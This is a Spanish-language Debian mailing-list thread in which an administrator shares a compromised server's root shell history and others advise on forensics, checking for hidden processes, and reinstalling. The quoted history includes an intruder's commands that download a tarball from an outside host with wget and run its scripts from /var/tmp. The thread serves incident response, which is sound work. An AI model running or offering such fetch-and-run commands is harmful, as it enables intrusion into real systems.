El 13/06/11 05:36, Juan Lavieri escribió: > Hola Juan Antonio. > > El 12/06/11 14:27, Juan Antonio escribió: >> El 13/05/11 17:39, ciracusa escribió: >>> Lista, buenas tardes. >>> >>> Perdón si este tema no esta directamente relacionado con Debian, pero >>> como el server en cuestión tiene Squeeze y es un tema de seguridad creo >>> que puede interesarles a mas de uno. >>> >>> Ayer viendo el history de root de un servidor veo lo siguiente: > > ^ > | > | > | > > Tocayo, parece que no leíste lo que dice arriba. > > Si es un history de root pareciera obvio que los comandos fueron > emitidos por el usuario root. > > > >>> >>> 314 ./go.sh 189 >>> 315 w >>> 316 cd >>> 317 cd /var/tmp/ >>> 318 rm -rf gosh >>> 319 ls -a >>> 320 exit >>> 321 cat /proc/cpuinfo >>> 322 passwd >>> 323 cd /var/tmp/ >>> 324 cd gosh >>> 325 touch bios.txt >>> 326 chmod +x * >>> 327 screen >>> 328 exit >>> 329 cat /proc/cpuinfo >>> 330 cd /var/tmp/ >>> 331 ls -a >>> 332 wget http://gblteam.webs.com/gosh.tgz.tar >>> 333 tar zxvf gosh.tgz.tar >>> 334 rm -rf gosh.tgz.tar >>> 335 cd gosh >>> 336 touch bios.txt >>> 337 chmod +x * >>> 338 ./go.sh 200 >>> 339 cd >>> 340 cd /var/tmp/ >>> 341 ls -a >>> 342 rm -rf gosh >>> 343 ls -a >>> 344 exit >>> 345 cd /var/tmp/ >>> 346 perl x.pl >>> >>> >>> Que opinan? >>> >>> Entiendo -lamentablemente- que el server fue comprometido, pero lo que >>> no llego a comprender es el alcance de esto. >>> >>> Notar que puse el link para que puedan descargarlo uds. también y >>> analizarlo (tomando las precauciones del caso). >>> >>> Bueno, si alguien tiene algo de info muy agradecido. >>> >>> Y si pueden recomendarme algunos pasos para analizar la seguridad del >>> server desde ya muchas gracias. >>> >>> Salu2. >>> >>> >> >> El tipo trabaja en /var/tmp asi que probablemente sea porque no tiene >> acceso como superusuario. > Tal vez trabajó en var temp porque **NO ES** el primer sitio donde > alguien comenzara a buscar; esto le dará tiempo para esconderse. > >> Haz un ls -l del archivo que subió y mira el >> propietario, asi sabras que usuario es el que tienes comprometido. Y >> como te han dicho revisa los log del sistema para ver como lo hicieron. >> >> Por otra parte, te recomiendan que reinstales sin saber si quiera el >> alcance de la intrusión, yo no lo haría hasta estar seguro que te la >> hayan metido hasta el fondo. > Tu opinión es acertada, hay que averiguar hasta dónde llegaron; pero > creo haber leído varias respuestas que le recomiendan hacer una imagen > del sistema **para efectos forenses** y luego reinstalar. > > Ciertamente ese es el enfoque correcto, hacer inoperante el servidor > comprometido (para el atacante) y luego **con tiempo** averiguar qué > pasó y cómo hacer para que no se repita. > >> Usa ps, lsof, netstat y demas para ver si >> hay procesos anómalos ejecutándose y si no tienes tripwire usa lsattr >> para buscar atributos que no deberían tener binarios del sistema como >> ps, lsof, netstat, etc... suelen dejarlos como inmutables para que no >> puedas sustituirlos. > Positivamente son herramientas excelentes; además se debe recordar > que si se deja el servidor activo, como tu sugieres, debe estar > aislado de la red interna y se deben resguardar los procesos vitales > para la organización. >> >> Un saludo. >> > (+1) = 2 > > > > Tienes razón, se me escapó ese detalle. En este caso el alcance esta claro y las opciones limitadas a una, reinstalar el sistema.
Un saludo. -- To UNSUBSCRIBE, email to [email protected] with a subject of "unsubscribe". Trouble? Contact [email protected] Archive: http://lists.debian.org/[email protected]
